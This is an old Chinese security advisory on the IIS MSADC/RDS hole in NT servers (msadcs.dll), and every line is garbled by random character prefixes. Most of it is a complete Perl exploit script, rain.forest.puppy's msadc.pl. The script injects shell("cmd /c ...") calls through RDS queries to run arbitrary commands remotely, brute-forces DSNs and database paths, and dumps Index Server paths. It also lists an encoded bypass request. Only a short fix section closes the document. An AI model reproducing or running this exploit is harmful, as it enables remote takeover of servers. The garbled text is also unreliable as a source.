IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
#P JHwvr 9z9\pXFQ 涉及程序：
%UXmWXF4$ Microsoft NT server
BGOajYD 2.>a L 描述：
Q dPqcw4+X 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
A6Vb'Gqv{ FBP'AL| 详细：
z9qF < m 如果你没有时间读详细内容的话，就删除:
q4y sTm c:\Program Files\Common Files\System\Msadc\msadcs.dll
n) t'?7 有关的安全问题就没有了。
.X](B~\ ! qvs&*lBY 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
,%X"Caz 49iqr P' 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Hq;*T3E 关于利用ODBC远程漏洞的描述，请参看:
&)ED||r, 2K
VX http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ;Zt N9l Q*54!^l+_r 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
S\dG>F>S http://www.microsoft.com/security/bulletins/MS99-025faq.asp =!N, {V_ l&Cy K#B:\ 这里不再论述。
$No^\.mV mTU[khEmL= 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
o5;|14O %u!)1oOIz /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
@=NTr 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
i* jnC> C-s FT f7 >v' @p #将下面这段保存为txt文件，然后: "perl -x 文件名"
*ORa@ x [U@ ; EeS #!perl
E@J}(76VS #
W1
\dGskV # MSADC/RDS 'usage' (aka exploit) script
+|6E~#zklY #
JE_ GWgwdv # by rain.forest.puppy
! %/2^ #
c yH=LjgJf # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
u-u:7VtH0= # beta test and find errors!
ufB9\yl{~ UXPF"}S2 use Socket; use Getopt::Std;
&~ '^;hy= getopts("e:vd:h:XR", \%args);
otmyI;v 7< R+5yyk\ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
RH^; M-' <~hx ~"c if (!defined $args{h} && !defined $args{R}) {
>>T,M@s-: print qq~
L~!Lq4]V\g Usage: msadc.pl -h <host> { -d <delay> -X -v }
,Yu2K` -h <host> = host you want to scan (ip or domain)
T?KM}<$(O -d <seconds> = delay between calls, default 1 second
M Ui#3o\f -X = dump Index Server path table, if available
8E|FFHNK<2 -v = verbose
X&gXhr#dL\ -e = external dictionary file for step 5
p?'
F$Wz c?}{>ig/) Or a -R will resume a command session
gg&Dej2{ h3(B7n7 ~; exit;}
`,s0^?_ I|tn7|*-A[ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
F#Bi* YY if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
+:3p*x%1H if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
yHnN7& if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
F>
b<t.yV $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
yHs'E4V`$ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
SD .c 9 ~EO=;a_ if (!defined $args{R}){ $ret = &has_msadc;
DcsQ 6 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
]D@y""{--s oR}'I print "Please type the NT commandline you want to run (cmd /c assumed):\n"
I@uin|X . "cmd /c ";
DG/<#SCF $in=<STDIN>; chomp $in;
r?R!/`f $command="cmd /c " . $in ;
/ jN &VpDG TL@{yJ;s if (defined $args{R}) {&load; exit;}
_) )--+cL K~
VUD( print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
N=;VS- &try_btcustmr;
.!Os'Y9[ , $jN,] N~ print "\nStep 2: Trying to make our own DSN...";
PHqIfH [ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
)5l9!1j \"Aw
AT Q print "\nStep 3: Trying known DSNs...";
g g QI &known_dsn;
/@9 -D
4 u
=| A print "\nStep 4: Trying known .mdbs...";
T0lbMp &known_mdb;
Q*caX
wIK&EGQ if (defined $args{e}){
B#K2?Et!t print "\nStep 5: Trying dictionary of DSN names...";
z=a{;1A &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
S<DS|qOo r^!P=BS{ print "Sorry Charley...maybe next time?\n";
v`9n'+h-c6 exit;
I~NQ t^sg bId@V[9 ##############################################################################
'>"-e'1m( C]D voJmBs sub sendraw { # ripped and modded from whisker
:EZ"D#>y~ sleep($delay); # it's a DoS on the server! At least on mine...
AV^Sla7|_ my ($pstr)=@_;
s9b 6l,Z socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
VH5Vg We die("Socket problems\n");
yf7$m_$C' if(connect(S,pack "SnA4x8",2,80,$target)){
;c;PNihg select(S); $|=1;
Zv)x-4 8 print $pstr; my @in=<S>;
-<.b3M h select(STDOUT); close(S);
u7kw/_f return @in;
3* $)9' } else { die("Can't connect...\n"); }}
5b-: e? | ET}Dh3A ##############################################################################
5<KY} ,1&</R_ sub make_header { # make the HTTP request
ay,E! G&H my $msadc=<<EOT
\t
04 - POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Vpsv @\@J> User-Agent: ACTIVEDATA
1b -_![&]1 Host: $ip
#jNN?,ZK Content-Length: $clen
#iAEcC0k5 Connection: Keep-Alive
T?'Vb }0?\H)/edP ADCClientVersion:01.06
$C8nPl' 7 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
V_Oj?MMp n N M_Xy<.~E --!ADM!ROX!YOUR!WORLD!
+nT(>RJR Content-Type: application/x-varg
1O,<JrE+- Content-Length: $reqlen
dr iw\ =v ZF/r EOT
~i y]X:U ; $msadc=~s/\n/\r\n/g;
D!d1%h ac return $msadc;}
wio}<Y6Xz 8e3I@mv ##############################################################################
.# [== & KS*rHgt? sub make_req { # make the RDS request
vMB`TpZ my ($switch, $p1, $p2)=@_;
`gFE/i18 my $req=""; my $t1, $t2, $query, $dsn;
Dw6mSsC/ :v>Nz7SB if ($switch==1){ # this is the btcustmr.mdb query
-*T<^G;rK $query="Select * from Customers where City=" . make_shell();
nD51,1> $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
=~f\m:Y $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
1$#{om9 ckTk2xPQ elsif ($switch==2){ # this is general make table query
W dN OE;R $query="create table AZZ (B int, C varchar(10))";
da/Tms`T $dsn="$p1";}
- .EH?{i ;9rS[$ ^$O elsif ($switch==3){ # this is general exploit table query
z[`O YwsW $query="select * from AZZ where C=" . make_shell();
t+?m<h6w;l $dsn="$p1";}
:]hNw1e ecRY,MN elsif ($switch==4){ # attempt to hork file info from index server
?\.aq
p1B $query="select path from scope()";
7} 2Aq $dsn="Provider=MSIDXS;";}
iYk4=l
OmR) W ' elsif ($switch==5){ # bad query
A3 |hFk $query="select";
GF=rGn@,)` $dsn="$p1";}
ZcLW8L ,'f^K!iA $t1= make_unicode($query);
9_ $t2= make_unicode($dsn);
' M'k$G@Z $req = "\x02\x00\x03\x00";
^L@2%}6b` $req.= "\x08\x00" . pack ("S1", length($t1));
?8G ggJC $req.= "\x00\x00" . $t1 ;
i=^ !?
i $req.= "\x08\x00" . pack ("S1", length($t2));
/eO :1c
$req.= "\x00\x00" . $t2 ;
zY=eeG+4s $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
0mMoDJRy return $req;}
4 ru-qF zv8AvNDK ##############################################################################
^ . |P&f~ !F|#TETr t sub make_shell { # this makes the shell() statement
<n-}z[09 return "'|shell(\"$command\")|'";}
]9P2v X +\_c*'K> ##############################################################################
9z$fDs }.q Y*Ra!]62 sub make_unicode { # quick little function to convert to unicode
~Bi>T15e my ($in)=@_; my $out;
r&/M')}?Lw for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
e>] gC a return $out;}
kR,ry:J- n LD1j ##############################################################################
9-3, DxZ} =G,wR'M sub rdo_success { # checks for RDO return success (this is kludge)
LN0pC }F my (@in) = @_; my $base=content_start(@in);
@?vC4+' if($in[$base]=~/multipart\/mixed/){
e"D%eFkDW return 1 if( $in[$base+10]=~/^\x09\x00/ );}
o^ zrF return 0;}
wr-/R"fX [` 4 ##############################################################################
>2t.7UhDI JuKG#F#, sub make_dsn { # this makes a DSN for us
Mm)yabP my @drives=("c","d","e","f");
Oo0SDWI`( print "\nMaking DSN: ";
_@5|r|P> foreach $drive (@drives) {
.<Rw16 O print "$drive: ";
m fqnRPZ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
{Z,_/@}N "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
YWFq&II|Z . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
@u @~gEt $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
teKx^ 'c' return 0 if $2 eq "404"; # not found/doesn't exist
CBr(a'3{Z if($2 eq "200") {
) UCc! foreach $line (@results) {
+6`+Q2qi return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
W= :AOBK } return 0;}
8g0VTY4$jP ?Gl]O3@3 ##############################################################################
xwF mY'o 2 O
2HmL sub verify_exists {
(QTF+~) my ($page)=@_;
K0YQ b&*k my @results=sendraw("GET $page HTTP/1.0\n\n");
s(Bcw`'# return $results[0];}
*\ (MG|S >t_h /:JZ) ##############################################################################
?Kt F!:_C (Z0_e &=* sub try_btcustmr {
d%za6= M my @drives=("c","d","e","f");
"g,`K s ]; my @dirs=("winnt","winnt35","winnt351","win","windows");
Z%Fc
-KVt R4y] <8} foreach $dir (@dirs) {
45?% D} print "$dir -> "; # fun status so you can see progress
Zz1nXUZ foreach $drive (@drives) {
)dd1B>ej] print "$drive: "; # ditto
/go|r ' $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Kl,NL]]4*5 $reqlenlen=length( "$reqlen" );
M#_ |WL~ $clen= 206 + $reqlenlen + $reqlen;
5-hnk'
~ BsU}HuQZQ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
]|-sZ<?<i if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
K9{RU4< else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
+CM>]Ze
l*?_ @ ##############################################################################
{Q}F.0Q N=PSr 4 sub odbc_error {
lA pZC6Iwk my (@in)=@_; my $base;
kH5D%`Kw my $base = content_start(@in);
?P }bl_ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
" Lh&s<[ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;I& XG $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ZTibF'\5N $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Gl@{y ( return $in[$base+4].$in[$base+5].$in[$base+6];}
Pa6pq;4St print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
/w1M%10 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
EV?U
!O $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
9Ta0Li F"bz<{ ##############################################################################
9 QaE)wt O%3Hp.|! sub verbose {
|r*)U( c` my ($in)=@_;
QgI[#d{ return if !$verbose;
64mg :ed& print STDOUT "\n$in\n";}
X Z . T%g @0 'U
p ##############################################################################
'zM=[#!B EJ>&\I q sub save {
a}uYv : my ($p1, $p2, $p3, $p4)=@_;
|{&M#qXe open(OUT, ">rds.save") || print "Problem saving parameters...\n";
{fnx=BaG print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
jQ,Vs=*H close OUT;}
,sIC=V + M+0PEf. ##############################################################################
=gs-#\% +U1
Ir5Lx sub load {
~ney~Pz_ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Bb:C^CHIQm open(IN,"<rds.save") || die("Couldn't open rds.save\n");
WFiX=@SS @p=<IN>; close(IN);
* I)J%# $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
+i!5<nn $target= inet_aton($ip) || die("inet_aton problems");
p"#\E0GM print "Resuming to $ip ...";
R!%nzL@e&` $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
fO$){(] ^ if($p[1]==1) {
#D4 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
58Ce>*~ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
>UMxlvTg& my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
"bIb?e2h9G if (rdo_success(@results)){print "Success!\n";}
{u/1ph- else { print "failed\n"; verbose(odbc_error(@results));}}
ejlns
~ elsif ($p[1]==3){
rNR7}o~ qo if(run_query("$p[3]")){
W;'fAohr print "Success!\n";} else { print "failed\n"; }}
0eNdKE elsif ($p[1]==4){
=w! ik9 if(run_query($drvst . "$p[3]")){
Xva(R<W7d< print "Success!\n"; } else { print "failed\n"; }}
CtXbAcN2B exit;}
%( 1O jfZc )Cl>% 9 ##############################################################################
;NR |Hi] Z^ :_,aJ? sub create_table {
J(l\VvK my ($in)=@_;
c1 "wS*u $reqlen=length( make_req(2,$in,"") ) - 28;
x-m *p^} $reqlenlen=length( "$reqlen" );
393c |8M $clen= 206 + $reqlenlen + $reqlen;
.`}TND~ my @results=sendraw(make_header() . make_req(2,$in,""));
7a1o#O return 1 if rdo_success(@results);
rXi&8R[ my $temp= odbc_error(@results); verbose($temp);
==OU d6e} return 1 if $temp=~/Table 'AZZ' already exists/;
*O
:JECKU return 0;}
xgcxA: nbF<K? ##############################################################################
|n/;x$Cb !?nO0Ao-$ sub known_dsn {
{^z73Gxt, # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
%dzt'uz my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
~t)cbF(UO "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
-N*[f9EJB "banner", "banners", "ads", "ADCDemo", "ADCTest");
{ c#US
HG;;M6 foreach $dSn (@dsns) {
Q>, &@ print ".";
'F d+1
3 next if (!is_access("DSN=$dSn"));
"[N2qJ}p if(create_table("DSN=$dSn")){
;OlnIxH(W print "$dSn successful\n";
QN#"c if(run_query("DSN=$dSn")){
l8FJ \5'M print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
lo$G*LWu: print "Something's borked. Use verbose next time\n";}}} print "\n";}
"V' r}> QPVi& *8_ ##############################################################################
= LNU%0m 0]4X/u#N sub is_access {
SZF 8InyF my ($in)=@_;
X"!j_*&ED $reqlen=length( make_req(5,$in,"") ) - 28;
1
pVw,} $reqlenlen=length( "$reqlen" );
c["1t1G $clen= 206 + $reqlenlen + $reqlen;
: :>|[ND my @results=sendraw(make_header() . make_req(5,$in,""));
8\rca:cF
my $temp= odbc_error(@results);
p<
7rF_?W0 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
EHwb?{ return 0;}
yv4x.cfI2W 93]63NY ##############################################################################
yMN JHiE/
;j26(dH sub run_query {
@D;K&:~|N my ($in)=@_;
h-96 2(LG $reqlen=length( make_req(3,$in,"") ) - 28;
t`8Jz~G` $reqlenlen=length( "$reqlen" );
$`|h F[tv $clen= 206 + $reqlenlen + $reqlen;
~^2w)-N my @results=sendraw(make_header() . make_req(3,$in,""));
f6Y?),` return 1 if rdo_success(@results);
@rYZ 0`E9 my $temp= odbc_error(@results); verbose($temp);
/(^-= pAX return 0;}
GrLxERf *:CTIV5N0 ##############################################################################
}k VC ]+ d~aTj f sub known_mdb {
v@{ y} my @drives=("c","d","e","f","g");
BQ6$T& my @dirs=("winnt","winnt35","winnt351","win","windows");
! V.]mI my $dir, $drive, $mdb;
wO,qFY my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
SSI> +A PB^rniY h # this is sparse, because I don't know of many
E{Wn&?i>A my @sysmdbs=( "\\catroot\\icatalog.mdb",
BbX$R`f "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
T v|'6P "\\system32\\certmdb.mdb",
jA,y.(mR "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
e8`d<U & `m.]RV my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
5$U 49j "\\cfusion\\cfapps\\forums\\forums_.mdb",
( csk
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Qr
R+3kxM "\\cfusion\\cfapps\\security\\realm_.mdb",
;-1KPDIp` "\\cfusion\\cfapps\\security\\data\\realm.mdb",
+O8[4zn&k "\\cfusion\\database\\cfexamples.mdb",
xQZOGq "\\cfusion\\database\\cfsnippets.mdb",
1O Ft}>1 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
tV=Qt[|@ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
`lY-/Ty "\\cfusion\\brighttiger\\database\\cleam.mdb",
@g[ijs\ "\\cfusion\\database\\smpolicy.mdb",
aUMiRm- "\\cfusion\\database\cypress.mdb",
UT@Qo}: "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
ikZYc ${ "\\website\\cgi-win\\dbsample.mdb",
c^_+<C-F "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Tcy9oYh!Pn "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
SVa^:\"$ [ ); #these are just
2po8n _ foreach $drive (@drives) {
qg j;E=7 foreach $dir (@dirs){
Oyb9
ql^ foreach $mdb (@sysmdbs) {
Lj /^cx print ".";
|~76dxU if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
yHY2 SXm print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Wg f
f+7 k if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
s3Bo'hGxG print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
7 :\J2$P } else { print "Something's borked. Use verbose next time\n"; }}}}}
*/{y % \)*\$I\] foreach $drive (@drives) {
&(< Gr0 foreach $mdb (@mdbs) {
LI-ewea print ".";
[Qr _0O if(create_table($drv . $drive . $dir . $mdb)){
$m)eO8S+ print "\n" . $drive . $dir . $mdb . " successful\n";
sfVzVS[ if(run_query($drv . $drive . $dir . $mdb)){
K
z^.v` print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
MNh:NFCRA } else { print "Something's borked. Use verbose next time\n"; }}}}
5bZ0}^FYF }
bz:En'2>F r{~b4~kAf5 ##############################################################################
eLH=PDdO `MT.<5H sub hork_idx {
k(`> (w print "\nAttempting to dump Index Server tables...\n";
u$qas II print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
ndyI sR $reqlen=length( make_req(4,"","") ) - 28;
V%*91 t _ $reqlenlen=length( "$reqlen" );
^K<!`B $clen= 206 + $reqlenlen + $reqlen;
lE+Duap: my @results=sendraw2(make_header() . make_req(4,"",""));
\1u^ ?cBd if (rdo_success(@results)){
.'
v$PEy my $max=@results; my $c; my %d;
%f\j)qw for($c=19; $c<$max; $c++){
AO -~dV $results[$c]=~s/\x00//g;
{Z s
EYUP $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
1U ah IePf $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
,-n_( U $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
h 1Y^+A_ $d{"$1$2"}="";}
$;";i:H` foreach $c (keys %d){ print "$c\n"; }
?nJv f } else {print "Index server doesn't seem to be installed.\n"; }}
Eb'M< ZY 2L.6!THG ##############################################################################
uxX 3wY;M PTQN.[bBh sub dsn_dict {
zGL.+ @ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
s=R^2 ;^ while(<IN>){
1 yS: ` $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
?wIw$p>wT next if (!is_access("DSN=$dSn"));
Yi`DRkp]3 if(create_table("DSN=$dSn")){
9*s:Vff{ print "$dSn successful\n";
z@<jZM if(run_query("DSN=$dSn")){
!6 kn>447Y print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
a!j{A?7Kw. print "Something's borked. Use verbose next time\n";}}}
^= kr`5 print "\n"; close(IN);}
8NWuhRRrw X4k|k> ##############################################################################
R<r,&X?m 7?y([i\y sub sendraw2 { # ripped and modded from whisker
s?9`dv} P sleep($delay); # it's a DoS on the server! At least on mine...
nbv}Q-C my ($pstr)=@_;
Co/04F. socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
)ItW}1[I die("Socket problems\n");
gP ^A if(connect(S,pack "SnA4x8",2,80,$target)){
gP!k[E ,Q8 print "Connected. Getting data";
Kciz^)'Z open(OUT,">raw.out"); my @in;
a 4? c~bs select(S); $|=1; print $pstr;
nwi8>MG while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
F:Yp1Wrb < close(OUT); select(STDOUT); close(S); return @in;
iML?`%/vN } else { die("Can't connect...\n"); }}
XCGK&O GI k5X-*^U=V} ##############################################################################
`@&WELFv{ 7Xh
;dJAF3 sub content_start { # this will take in the server headers
5',&8 my (@in)=@_; my $c;
T '5MO\ for ($c=1;$c<500;$c++) {
Xk :_aJ if($in[$c] =~/^\x0d\x0a/){
G1SOvdq if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
5hDm[*83 else { return $c+1; }}}
`nd$6i^#W return -1;} # it should never get here actually
#,SPV& =)! ~t / ##############################################################################
MZ^(BOe_ )|&F Bz; sub funky {
g]?QV2bX6 my (@in)=@_; my $error=odbc_error(@in);
o#-^Lg& if($error=~/ADO could not find the specified provider/){
F>k/;@d print "\nServer returned an ADO miscofiguration message\nAborting.\n";
LoO"d'{ exit;}
Dyj >dh- if($error=~/A Handler is required/){
<,t6A?YoMP print "\nServer has custom handler filters (they most likely are patched)\n";
-{p~sRc& exit;}
DLoH.Fd if($error=~/specified Handler has denied Access/){
As|e=ut( print "\nServer has custom handler filters (they most likely are patched)\n";
K{iC'^wP exit;}}
"i\^GK= %d0BQ| ##############################################################################
*3(mNpi{_ we33GMxHl` sub has_msadc {
4=l$wg~; my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
mfk^t` w_ my $base=content_start(@results);
gAK"ShOhG= return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
fjqd16{Q return 0;}
/kqa|=-`q N}'2GBqfU4 ########################
15kkf~Z <t Hw,@oOh. Z1U@xQj 解决方案：
( $,qxPOn 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
-T>i5'2) 2、移除web 目录: /msadc
